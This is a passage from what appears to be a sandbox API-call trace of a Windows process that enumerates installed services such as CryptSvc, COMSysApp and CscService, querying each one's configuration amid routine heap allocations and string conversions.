lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x1c89b10, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0027.339] OpenServiceW (hSCManager=0x286c38, lpServiceName="CertPropSvc", dwDesiredAccess=0x1) returned 0x286e18 [0027.339] CloseServiceHandle (hSCObject=0x286d28) returned 1 [0027.339] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0027.339] GetLastError () returned 0x7a [0027.339] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x1c829e0, cbBufSize=0x112, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0027.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1c89b58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.339] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0027.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_32", cchWideChar=30, lpMultiByteStr=0x1c89b58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_32", lpUsedDefaultChar=0x0) returned 30 [0027.340] OpenServiceW (hSCManager=0x286c38, lpServiceName="clr_optimization_v2.0.50727_32", dwDesiredAccess=0x1) returned 0x286d00 [0027.340] CloseServiceHandle (hSCObject=0x286e18) returned 1 [0027.340] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0027.340] GetLastError () returned 0x7a [0027.340] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x1c829e0, cbBufSize=0x152, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0027.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mscorsvw.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.340] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mscorsvw.exe", cchWideChar=12, lpMultiByteStr=0x1c89ba0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mscorsvw.exe", lpUsedDefaultChar=0x0) returned 12 [0027.340] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89690) returned 1 [0027.340] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89690 [0027.340] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c83ee8 [0027.340] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c83ff8 [0027.340] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84080 [0027.340] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84108 [0027.340] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84190 [0027.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0027.341] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89b58 [0027.341] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v2.0.50727_64", cchWideChar=30, lpMultiByteStr=0x1c89b58, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v2.0.50727_64", lpUsedDefaultChar=0x0) returned 30 [0027.341] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89ba0 [0027.341] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89b58) returned 1 [0027.341] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89ba0) returned 1 [0027.341] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84190) returned 1 [0027.341] OpenServiceW (hSCManager=0x286c38, lpServiceName="clr_optimization_v2.0.50727_64", dwDesiredAccess=0x1) returned 0x286dc8 [0027.341] CloseServiceHandle (hSCObject=0x286d00) returned 1 [0027.341] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0027.341] GetLastError () returned 0x7a [0027.341] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x1c829e0, cbBufSize=0x156, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0027.341] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84190 [0027.341] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84218 [0027.341] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84190) returned 1 [0027.341] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84218) returned 1 [0027.342] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84218 [0027.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mscorsvw.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.342] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89ba0 [0027.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mscorsvw.exe", cchWideChar=12, lpMultiByteStr=0x1c89ba0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mscorsvw.exe", lpUsedDefaultChar=0x0) returned 12 [0027.342] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89b58 [0027.342] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89ba0) returned 1 [0027.342] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89b58) returned 1 [0027.342] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84218) returned 1 [0027.342] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89b58 [0027.342] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84218 [0027.342] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84190 [0027.342] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c842a0 [0027.342] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84328 [0027.342] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c843b0 [0027.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0027.342] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89ba0 [0027.342] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_32", cchWideChar=30, lpMultiByteStr=0x1c89ba0, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_32", lpUsedDefaultChar=0x0) returned 30 [0027.342] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89be8 [0027.342] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89ba0) returned 1 [0027.342] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89be8) returned 1 [0027.342] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c843b0) returned 1 [0027.342] OpenServiceW (hSCManager=0x286c38, lpServiceName="clr_optimization_v4.0.30319_32", dwDesiredAccess=0x1) returned 0x286d28 [0027.342] CloseServiceHandle (hSCObject=0x286dc8) returned 1 [0027.342] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0027.343] GetLastError () returned 0x7a [0027.343] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x1c829e0, cbBufSize=0x152, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0027.343] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c843b0 [0027.343] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84438 [0027.343] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c843b0) returned 1 [0027.343] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84438) returned 1 [0027.343] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84438 [0027.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mscorsvw.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.343] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89be8 [0027.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mscorsvw.exe", cchWideChar=12, lpMultiByteStr=0x1c89be8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mscorsvw.exe", lpUsedDefaultChar=0x0) returned 12 [0027.343] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89ba0 [0027.343] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89be8) returned 1 [0027.343] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89ba0) returned 1 [0027.343] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84438) returned 1 [0027.343] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89ba0 [0027.343] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84438 [0027.343] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c843b0 [0027.343] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c844c0 [0027.343] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84548 [0027.343] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c845d0 [0027.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0027.343] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89be8 [0027.343] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="clr_optimization_v4.0.30319_64", cchWideChar=30, lpMultiByteStr=0x1c89be8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="clr_optimization_v4.0.30319_64", lpUsedDefaultChar=0x0) returned 30 [0027.343] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89c30 [0027.343] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89be8) returned 1 [0027.343] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89c30) returned 1 [0027.343] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c845d0) returned 1 [0027.343] OpenServiceW (hSCManager=0x286c38, lpServiceName="clr_optimization_v4.0.30319_64", dwDesiredAccess=0x1) returned 0x286e18 [0027.344] CloseServiceHandle (hSCObject=0x286d28) returned 1 [0027.344] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0027.344] GetLastError () returned 0x7a [0027.344] QueryServiceConfigW (in: hService=0x286e18, lpServiceConfig=0x1c829e0, cbBufSize=0x156, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0027.344] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c845d0 [0027.344] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84658 [0027.344] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c845d0) returned 1 [0027.344] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84658) returned 1 [0027.344] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84658 [0027.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mscorsvw.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0027.344] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89c30 [0027.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mscorsvw.exe", cchWideChar=12, lpMultiByteStr=0x1c89c30, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mscorsvw.exe", lpUsedDefaultChar=0x0) returned 12 [0027.344] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89be8 [0027.344] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89c30) returned 1 [0027.344] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89be8) returned 1 [0027.344] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84658) returned 1 [0027.344] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89be8 [0027.345] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84658 [0027.345] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c845d0 [0027.345] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c846e0 [0027.345] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84768 [0027.345] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c847f0 [0027.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0027.345] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89c30 [0027.345] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="comsysapp", cchWideChar=9, lpMultiByteStr=0x1c89c30, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="comsysapp", lpUsedDefaultChar=0x0) returned 9 [0027.345] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89c78 [0027.345] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89c30) returned 1 [0027.345] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89c78) returned 1 [0027.345] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c847f0) returned 1 [0027.345] OpenServiceW (hSCManager=0x286c38, lpServiceName="COMSysApp", dwDesiredAccess=0x1) returned 0x286d00 [0027.345] CloseServiceHandle (hSCObject=0x286e18) returned 1 [0027.345] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0027.345] GetLastError () returned 0x7a [0027.345] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x1c829e0, cbBufSize=0x182, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0027.345] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x100) returned 0x1c85100 [0027.346] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84658) returned 1 [0027.346] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84658 [0027.346] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c847f0 [0027.346] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84658) returned 1 [0027.346] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c847f0) returned 1 [0027.346] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c847f0 [0027.346] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84658 [0027.346] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c847f0) returned 1 [0027.346] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84658) returned 1 [0027.346] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84658 [0027.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dllhost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.346] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89c78 [0027.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dllhost.exe", cchWideChar=11, lpMultiByteStr=0x1c89c78, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dllhost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.346] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89c30 [0027.346] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89c78) returned 1 [0027.346] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89c30) returned 1 [0027.346] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84658) returned 1 [0027.346] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89c30 [0027.346] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84658 [0027.346] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c847f0 [0027.346] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84878 [0027.346] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84900 [0027.346] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84988 [0027.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0027.346] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89c78 [0027.346] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cryptsvc", cchWideChar=8, lpMultiByteStr=0x1c89c78, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cryptsvc", lpUsedDefaultChar=0x0) returned 8 [0027.346] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89cc0 [0027.346] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89c78) returned 1 [0027.346] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89cc0) returned 1 [0027.346] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84988) returned 1 [0027.346] OpenServiceW (hSCManager=0x286c38, lpServiceName="CryptSvc", dwDesiredAccess=0x1) returned 0x286dc8 [0027.347] CloseServiceHandle (hSCObject=0x286d00) returned 1 [0027.347] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0027.347] GetLastError () returned 0x7a [0027.347] QueryServiceConfigW (in: hService=0x286dc8, lpServiceConfig=0x1c829e0, cbBufSize=0x13e, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0027.347] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84988 [0027.347] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84a10 [0027.347] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84988) returned 1 [0027.347] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84a10) returned 1 [0027.347] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84a10 [0027.347] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84988 [0027.347] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84a10) returned 1 [0027.347] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84988) returned 1 [0027.347] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84988 [0027.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.347] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89cc0 [0027.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="svchost.exe", cchWideChar=11, lpMultiByteStr=0x1c89cc0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="svchost.exe", lpUsedDefaultChar=0x0) returned 11 [0027.347] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89c78 [0027.347] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89cc0) returned 1 [0027.347] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89c78) returned 1 [0027.347] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84988) returned 1 [0027.347] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89c78 [0027.348] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84988 [0027.348] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84a10 [0027.348] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84a98 [0027.348] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84b20 [0027.348] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84ba8 [0027.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0027.348] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89cc0 [0027.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cscservice", cchWideChar=10, lpMultiByteStr=0x1c89cc0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cscservice", lpUsedDefaultChar=0x0) returned 10 [0027.348] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89d08 [0027.348] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89cc0) returned 1 [0027.348] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89d08) returned 1 [0027.348] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c84ba8) returned 1 [0027.348] OpenServiceW (hSCManager=0x286c38, lpServiceName="CscService", dwDesiredAccess=0x1) returned 0x286d28 [0027.976] CloseServiceHandle (hSCObject=0x286dc8) returned 1 [0027.976] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0027.977] GetLastError () returned 0x7a [0027.977] QueryServiceConfigW (in: hService=0x286d28, lpServiceConfig=0x1c829e0, cbBufSize=0x142, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0027.977] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84ba8 [0027.977] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c84c30 [0027.977] RtlFreeHeap 